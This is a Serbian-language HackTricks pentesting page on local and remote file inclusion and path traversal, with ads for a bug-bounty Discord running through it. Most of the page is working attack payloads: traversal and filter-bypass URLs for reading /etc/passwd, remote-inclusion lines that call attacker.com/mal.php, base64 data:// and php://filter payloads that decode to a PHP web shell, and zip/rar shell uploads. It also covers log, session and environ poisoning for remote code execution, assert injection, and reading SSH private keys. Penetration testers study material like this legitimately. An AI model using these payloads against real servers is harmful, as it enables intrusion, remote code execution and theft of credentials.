hacktricks/pentesting-web/file-inclusion/README.md

37 KiB
Raw Blame History

Uključivanje datoteka/Pretraga putanja

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Poslednje objave
Ostanite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Uključivanje datoteka

Udaljeno uključivanje datoteka (RFI): Datoteka se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo onemogućeno po podrazumevanim vrednostima (allow_url_include).
Lokalno uključivanje datoteka (LFI): Server učitava lokalnu datoteku.

Ranjivost se javlja kada korisnik na neki način može kontrolisati datoteku koju će server učitati.

Ranjive PHP funkcije: require, require_once, include, include_once

Zanimljiv alat za iskorišćavanje ove ranjivosti: https://github.com/kurobeats/fimap

Slepo - Zanimljivo - LFI2RCE datoteke

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mešanje nekoliko *nix LFI lista i dodavanje više putanja stvorio sam ovo:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Pokušajte takođe da promenite / u \
Pokušajte takođe da dodate ../../../../../

Lista koja koristi nekoliko tehnika za pronalaženje datoteke /etc/password (kako bi se proverilo postojanje ranjivosti) može se pronaći ovde

Windows

Spajanje različitih wordlisti:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Pokušajte takođe da promenite / u \
Pokušajte takođe da uklonite C:/ i dodate ../../../../../

Lista koja koristi nekoliko tehnika za pronalaženje datoteke /boot.ini (kako bi se proverilo postojanje ranjivosti) može se pronaći ovde

OS X

Proverite LFI listu za linux.

Osnovni LFI i obilazi

Svi primeri su za Lokalnu Inkluziju Datoteka, ali se mogu primeniti i na Udaljenu Inkluziju Datoteka (stranica=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sekvence prolaza bez rekurzije bez uklanjanja

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Nula bajt (%00)

Bajpasirajte dodavanje više karaktera na kraju pruženog stringa (bajpas od: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Ovo je rešeno od PHP 5.4

Kodiranje

Mogli biste koristiti neobična kodiranja poput dvostrukog URL kodiranja (i drugih):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Iz postojeće fascikle

Možda back-end proverava putanju fascikle:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Istraživanje direktorijuma fajl sistema na serveru

Fajl sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo fajlovi, koristeći određene tehnike. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. U nastavku je detaljna metoda za postizanje ovoga:

  1. Odredite Dubinu Direktorijuma: Utvrdite dubinu trenutnog direktorijuma tako što ćete uspešno dohvatiti fajl /etc/passwd (primenljivo ako je server zasnovan na Linuxu). Primer URL adrese može biti struktuiran na sledeći način, što ukazuje na dubinu od tri:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Istražite fascikle: Dodajte ime sumnjive fascikle (npr. private) na URL, zatim se vratite na /etc/passwd. Dodavanje dodatnog nivoa direktorijuma zahteva povećanje dubine za jedan:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Tumačenje rezultata: Odgovor servera ukazuje da li folder postoji:
    • Greška / Bez izlaza: Folder private verovatno ne postoji na navedenoj lokaciji.
    • Sadržaj /etc/passwd: Potvrđeno je postojanje foldera private.
  2. Rekurzivno istraživanje: Otkriveni folderi mogu se dodatno istražiti za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne metode lokalne uključenosti fajlova (LFI).

Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload. Na primer, da biste proverili da li /var/www/ sadrži direktorijum private (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Tehnika skraćivanja putanje

Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u veb aplikacijama. Često se koristi za pristupanje ograničenim datotekama zaobilazeći određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanje datoteke. Cilj je da se oblikuje putanja datoteke koja, kada je promenjena sigurnosnom merom, i dalje pokazuje ka željenoj datoteci.

U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:

  • /etc/passwd, /etc//passwd, /etc/./passwd i /etc/passwd/ se tretiraju kao ista putanja.
  • Kada su poslednjih 6 karaktera passwd, dodavanje / (čineći passwd/) ne menja ciljanu datoteku.
  • Slično tome, ako se .php doda na putanju datoteke (kao što je shellcode.php), dodavanje /. na kraj neće promeniti pristupanu datoteku.

Navedeni primeri pokazuju kako iskoristiti skraćivanje putanje da bi se pristupilo /etc/passwd, čestoj meti zbog osetljivog sadržaja (informacije o korisničkim nalozima):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali ovaj broj može varirati na osnovu konfiguracije servera.

  • Korišćenje tačkastih segmenata i dodatnih karaktera: Traversing sekvence (../) kombinovane sa dodatnim tačkastim segmentima i karakterima mogu se koristiti za navigaciju kroz sistem datoteka, efikasno ignorišući dodate stringove od strane servera.
  • Određivanje potrebnog broja prolaza: Kroz isprobavanje, može se pronaći precizan broj ../ sekvenci potrebnih za navigaciju do korenskog direktorijuma, a zatim do /etc/passwd, osiguravajući da su svi dodati stringovi (poput .php) neutralisani, ali da željena putanja (/etc/passwd) ostane netaknuta.
  • Početak sa lažnim direktorijumom: Uobičajena praksa je započeti putanju sa nepostojećim direktorijumom (kao što je a/). Ova tehnika se koristi kao preventivna mera ili za ispunjavanje zahteva logike parsiranja putanje servera.

Prilikom korišćenja tehnika skraćivanja putanje, ključno je razumeti ponašanje parsiranja putanje servera i strukturu sistema datoteka. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno kako bi se pronašla najefikasnija metoda.

Ova ranjivost je ispravljena u PHP 5.3.

Trikovi za zaobilaženje filtera

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Udаljeni Uključivanje Fajlova

U php-u je ovo onemogućeno po default-u jer je allow_url_include postavljen na Off. Morа biti On da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Ako je iz nekog razloga allow_url_include podešen na On, ali PHP filtrira pristup spoljnim web stranicama, prema ovom postu, možete koristiti na primer data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} U prethodnom kodu, konačni +.txt je dodat jer napadaču treba string koji se završava sa .txt, tako da string završava sa tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen). {% endhint %}

Još jedan primer ne koristeći php:// protokol bio bi:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python Root element

U Pythonu u kodu poput ovog:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Ako korisnik prosledi apsolutnu putanju do file_name, prethodna putanja se jednostavno uklanja:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To je željeno ponašanje prema dokumentaciji:

Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od komponente apsolutne putanje.

Java Listanje direktorijuma

Izgleda da ako imate Traversiranje putanje u Javi i zatražite direktorijum umesto fajla, vraća se lista direktorijuma. Ovo se neće dešavati u drugim jezicima (koliko ja znam).

Top 25 parametara

Evo liste od 25 najvažnijih parametara koji bi mogli biti ranjivi na lokalno uključivanje fajlova (LFI) (sa linka):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI korišćenjem PHP omotača i protokola

php://filter

PHP filteri omogućavaju obavljanje osnovnih operacija modifikacije nad podacima pre nego što budu pročitani ili napisani. Postoje 5 kategorija filtera:

  • Filteri za stringove:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Uklanja tagove iz podataka (sve između "<" i ">" znakova)
  • Imajte na umu da je ovaj filter nestao iz modernih verzija PHP-a
  • Filteri za konverziju
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformiše u drugo kodiranje (convert.iconv.<input_enc>.<output_enc>). Da biste dobili listu svih podržanih kodiranja, pokrenite u konzoli: iconv -l

{% hint style="warning" %} Zloupotrebom convert.iconv.* filtera za konverziju možete generisati proizvoljan tekst, što može biti korisno za pisanje proizvoljnog teksta ili izvršavanje funkcije poput uključivanja proizvoljnog teksta. Za više informacija pogledajte LFI2RCE putem php filtera. {% endhint %}

  • Filteri za kompresiju
  • zlib.deflate: Kompresuje sadržaj (korisno ako se izvlači puno informacija)
  • zlib.inflate: Dekompresuje podatke
  • Filteri za enkripciju
  • mcrypt.* : Zastarelo
  • mdecrypt.* : Zastarelo
  • Ostali filteri
  • Pokretanjem var_dump(stream_get_filters()); u PHP-u možete pronaći nekoliko neočekivanih filtera:
  • consumed
  • dechunk: vraća HTTP chunked kodiranje
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Deo "php://filter" je neosetljiv na velika i mala slova {% endhint %}

Korišćenje php filtera kao orakula za čitanje proizvoljnih fajlova

U ovom postu je predložena tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na boolean eksfiltraciji fajla (po karakter) korišćenjem php filtera kao orakula. Ovo je zato što php filteri mogu biti korišćeni da naprave tekst dovoljno velik da izazovu izuzetak u php-u.

U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog sažetka:

  • Koristite kod UCS-4LE da ostavite vodeći karakter teksta na početku i povećate veličinu stringa eksponencijalno.
  • Ovo će biti korišćeno da generiše tekst toliko velik kada se tačno pogodi početno slovo da će php izazvati grešku
  • Filter dechunk će ukloniti sve ako prvi karakter nije heksadecimalan, tako da možemo znati da li je prvi karakter heksadecimalan.
  • Ovo, kombinovano sa prethodnim (i drugim filterima zavisno od pogodjenog slova), će nam omogućiti da pogodimo slovo na početku teksta videći kada uradimo dovoljno transformacija da ne bude heksadecimalan karakter. Jer ako je heks, dechunk neće ga obrisati i početna bomba će izazvati php grešku.
  • Kod convert.iconv.UNICODE.CP930 transformiše svako slovo u sledeće (tako da nakon ovog koda: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo a na primer jer ako primenimo 6 ovih kodova a->b->c->d->e->f->g slovo više nije heksadecimalan karakter, stoga dechunk ga neće obrisati i php greška će biti izazvana jer se množi sa početnom bombom.
  • Korišćenjem drugih transformacija poput rot13 na početku moguće je procuriti druge karaktere poput n, o, p, q, r (i druge kodove možemo koristiti da pomerimo druge karaktere u heks opseg).
  • Kada je početni karakter broj, potrebno ga je enkodovati u base64 i procuriti prva 2 slova da bi procurili broj.
  • Konačni problem je videti kako procuriti više od početnog slova. Korišćenjem redoslednih memorijskih filtera poput convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druge karaktere teksta.
  • I kako bi bilo moguće dobiti dodatne podatke ideja je da se generiše 2 bajta beskorisnih podataka na početku sa convert.iconv.UTF16.UTF16, primeni se UCS-4LE da bi se poklopilo sa sledeća 2 bajta, i obrišu podaci do beskorisnih podataka (ovo će ukloniti prva 2 bajta početnog teksta). Nastaviti sa ovim dok se ne dostigne željeni bit za procuriti.

U postu je takođe procuran alat za automatsko izvođenje ovoga: php_filters_chain_oracle_exploit.

php://fd

Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Možete takođe koristiti php://stdin, php://stdout i php://stderr da pristupite file descriptorima 0, 1 i 2 redom (nisam siguran kako bi ovo moglo biti korisno u napadu)

zip:// i rar://

Otpremite Zip ili Rar datoteku sa PHPShell-om unutra i pristupite joj.
Da biste mogli zloupotrebiti rar protokol, potrebno je da bude posebno aktiviran.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Napomena da je ovaj protokol ograničen php konfiguracijama allow_url_open i allow_url_include

expect://

Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

ulaz://

Navedite svoj payload u POST parametrima:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.phar datoteka može se koristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije poput include za učitavanje datoteka. PHP kodni odlomak koji je dat u nastavku demonstrira kreiranje .phar datoteke:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Da biste kompajlirali .phar fajl, treba izvršiti sledeću komandu:

php --define phar.readonly=0 create_path.php

Prilikom izvršavanja, biće kreiran fajl pod nazivom test.phar, koji bi potencijalno mogao biti iskorišćen za eksploataciju ranjivosti lokalne uključenosti fajlova (LFI).

U slučajevima kada LFI samo vrši čitanje fajlova bez izvršavanja PHP koda unutar njih, kroz funkcije poput file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ili filesize(), može se pokušati eksploatisati ranjivost de-serijalizacije. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem phar protokola.

Za detaljnije razumevanje eksploatacije ranjivosti de-serijalizacije u kontekstu .phar fajlova, pogledajte dokument koji je povezan ispod:

Phar Vodič za Eksploataciju De-serijalizacije

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

CVE-2024-2961

Bilo je moguće zloupotrebiti bilo koji proizvoljan fajl pročitan iz PHP-a koji podržava php filtere kako bi se dobio RCE. Detaljan opis može se pronaći u ovom postu.
Veoma brz sažetak: prekoračenje za 3 bajta u PHP hipu je zloupotrebljeno kako bi se izmenio lanac slobodnih blokova određene veličine kako bi se moglo pisati bilo šta na bilo koju adresu, tako da je dodat hook za pozivanje system.
Bilo je moguće alocirati blokove određenih veličina zloupotrebom više php filtera.

Više protokola

Proverite više mogućih protokola za uključivanje ovde:

  • php://memory i php://temp — Pisanje u memoriju ili u privremeni fajl (nije sigurno kako bi ovo moglo biti korisno u napadu uključivanja fajlova)
  • file:// — Pristupanje lokalnom fajl sistemu
  • http:// — Pristupanje HTTP(s) URL-ovima
  • ftp:// — Pristupanje FTP(s) URL-ovima
  • zlib:// — Streamovi kompresije
  • glob:// — Pronalaženje putanja koje odgovaraju obrascu (Ne vraća ništa štampajuće, pa nije zaista korisno ovde)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streamovi (Nije korisno za čitanje proizvoljnih fajlova)

LFI putem 'assert' funkcije u PHP-u

Rizici lokalne uključenosti fajlova (LFI) u PHP-u su posebno visoki prilikom rukovanja funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se proverava ulaz koji sadrži karaktere pretrage direktorijuma poput "..", ali nije pravilno dezinfikovan.

Na primer, PHP kod može biti dizajniran da spreči pretragu direktorijuma na sledeći način:

assert("strpos('$file', '..') === false") or die("");

Iako ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za ubacivanje koda. Da bi iskoristio ovo za čitanje sadržaja datoteke, napadač bi mogao koristiti:

' and die(highlight_file('/etc/passwd')) or '

Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:

' and die(system("id")) or '

Važno je URL-kodirati ove payload-e.

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu

Poslednje objave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

PHP Slepa putanja prolaza

{% hint style="warning" %} Ova tehnika je relevantna u slučajevima kada kontrolišete putanju datoteke PHP funkcije koja će pristupiti datoteci ali nećete videti sadržaj datoteke (kao jednostavan poziv file()) ali sadržaj nije prikazan. {% endhint %}

U ovom neverovatnom postu objašnjeno je kako se slepa putanja prolaza može zloupotrebiti putem PHP filtera da bi se eksfiltrirao sadržaj datoteke putem orakla greške.

U suštini, tehnika koristi "UCS-4LE" kodiranje da bi sadržaj datoteke bio toliko veliki da će PHP funkcija koja otvara datoteku izazvati grešku.

Zatim, kako bi se otkrio prvi karakter, filter dechunk se koristi zajedno sa drugim kao što su base64 ili rot13 i na kraju se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da bi se postavili drugi karakteri na početak i otkrili ih.

Funkcije koje mogu biti ranjive: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (samo cilj čitanje samo sa ovim), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Za tehničke detalje pogledajte pomenuti post!

LFI2RCE

Udaljeno uključivanje datoteka

Kao što je objašnjeno ranije, pratite ovaj link.

Putem Apache/Nginx log datoteke

Ako je Apache ili Nginx server ranjiv na LFI unutar funkcije uključivanja, možete pokušati pristupiti /var/log/apache2/access.log ili /var/log/nginx/access.log, postaviti unutar korisničkog agenta ili unutar GET parametra php shell poput <?php system($_GET['c']); ?> i uključiti tu datoteku

{% hint style="warning" %} Imajte na umu da ako koristite dvostruke navodnike za shell umesto jednostrukih navodnika, dvostruki navodnici će biti modifikovani u "quote;", PHP će baciti grešku tamo i ništa drugo neće biti izvršeno.

Takođe, pobrinite se da ispravno napišete payload ili će PHP greška svaki put kada pokuša da učita log datoteku i nećete imati drugu priliku. {% endhint %}

Ovo takođe može biti urađeno i u drugim logovima ali budite oprezni, kod unutar logova može biti URL kodiran i to može uništiti Shell. Zaglavlje autorizacija "osnovna" sadrži "korisnik:lozinka" u Base64 i dekodira se unutar logova. PHPShell može biti ubačen unutar ovog zaglavlja.
Drugi mogući putanje logova:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Putanja rečnika za Fazing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Putem Email-a

Pošaljite e-poštu na interni nalog (user@localhost) koja sadrži vaš PHP payload poput <?php echo system($_REQUEST["cmd"]); ?> i pokušajte da je uključite u e-poštu korisnika sa putanjom poput /var/mail/<KORISNIČKO_IME> ili /var/spool/mail/<KORISNIČKO_IME>

Putem /proc/*/fd/*

  1. Otpremite mnogo shell skripti (na primer: 100)
  2. Uključite http://example.com/index.php?page=/proc/$PID/fd/$FD, gde je $PID PID procesa (može se nasilno otkriti) i $FD deskriptor datoteke (takođe se može nasilno otkriti)

Putem /proc/self/environ

Kao datoteka sa zapisima, pošaljite payload u User-Agent, biće reflektovan unutar datoteke /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Putem otpremanja

Ako možete otpremiti datoteku, jednostavno ubacite shell payload u nju (npr: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Putem otpreme Zip fajla

Otpremite ZIP fajl koji sadrži komprimovan PHP shell i pristupite:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Preko PHP sesija

Proverite da li veb sajt koristi PHP sesije (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

U PHP-u, ove sesije se čuvaju u fajlovima /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Postavite kolačić na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Koristite LFI da biste uključili PHP sesijski fajl

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Preko ssh

Ako je ssh aktivan, proverite koji se korisnik koristi (/proc/self/status & /etc/passwd) i pokušajte pristupiti <HOME>/.ssh/id_rsa

Preko vsftpd logova

Logovi za FTP server vsftpd se nalaze na /var/log/vsftpd.log. U scenariju gde postoji ranjivost lokalnog uključivanja datoteka (LFI), a pristup izloženom vsftpd serveru je moguć, mogu se razmotriti sledeći koraci:

  1. Ubacite PHP payload u polje za korisničko ime tokom procesa prijave.
  2. Nakon ubacivanja, iskoristite LFI da biste dobili server logove sa /var/log/vsftpd.log.

Preko php base64 filtera (koristeći base64)

Kao što je prikazano u ovom članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete koristiti to da biste zaobišli proveru ekstenzije datoteke: ako dostavite base64 koji se završava sa ".php", on bi jednostavno ignorisao "." i dodao "php" na base64. Evo primera payloada:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Putem php filtera (bez potrebe za datotekom)

Ovaj writeup objašnjava da možete koristiti php filtere za generisanje proizvoljnog sadržaja kao izlaz. Što u osnovi znači da možete generisati proizvoljni php kod za uključivanje bez potrebe da ga pišete u datoteku.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Putem greške segmentacije

Otpremite datoteku koja će biti smeštena kao privremena u /tmp, zatim u istom zahtevu, izazovite grešku segmentacije, i onda privremena datoteka neće biti obrisana i možete je potražiti.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Putem Nginx temp skladištenja datoteka

Ako ste pronašli Lokalnu Uključenost Datoteke i Nginx je pokrenut ispred PHP-a, možda ćete moći da dobijete RCE pomoću sledeće tehnike:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Putem PHP_SESSION_UPLOAD_PROGRESS

Ako ste pronašli Lokalnu Uključenost Datoteke čak i ako nemate sesiju i session.auto_start je Isključen. Ako pružite PHP_SESSION_UPLOAD_PROGRESS u multipart POST podacima, PHP će omogućiti sesiju za vas. To biste mogli zloupotrebiti da biste dobili RCE:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Putem privremenih otpremanja datoteka u Windows-u

Ako ste pronašli Lokalnu Uključenost Datoteke i server radi na Windows-u, možda ćete dobiti RCE:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Putem phpinfo() (file_uploads = on)

Ako ste pronašli Lokalnu Uključenost Datoteke i datoteka izlaže phpinfo() sa file_uploads = on možete dobiti RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Putem compress.zlib + PHP_STREAM_PREFER_STUDIO + Otkrivanje putanje

Ako ste pronašli Lokalnu Uključenost Datoteke i možete izfiltrirati putanju privremene datoteke ALI server proverava da li datoteka koja treba da bude uključena ima PHP oznake, možete pokušati da zaobiđete tu proveru ovom Trkačkom Uslovu:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Putem večnog čekanja + brute force

Ako možete zloupotrebiti LFI da otpremite privremene datoteke i naterate server da zastane PHP izvršavanje, tada biste mogli brute force-ovati imena datoteka tokom sati da biste pronašli privremenu datoteku:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Do Fatalne Greške

Ako uključite bilo koju od datoteka /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Morate uključiti istu datoteku 2 puta da biste izazvali tu grešku).

Ne znam kako je ovo korisno ali možda jeste.
Čak i ako izazovete PHP Fatalnu Grešku, privremene datoteke otpremljene PHP-om se brišu.

Reference

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Uvidi u Hakovanje
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o Hakovanju u Realnom Vremenu
Budite u toku sa dinamičnim svetom hakovanja putem vesti i uvida u realnom vremenu

Najnovije Obaveštenje
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

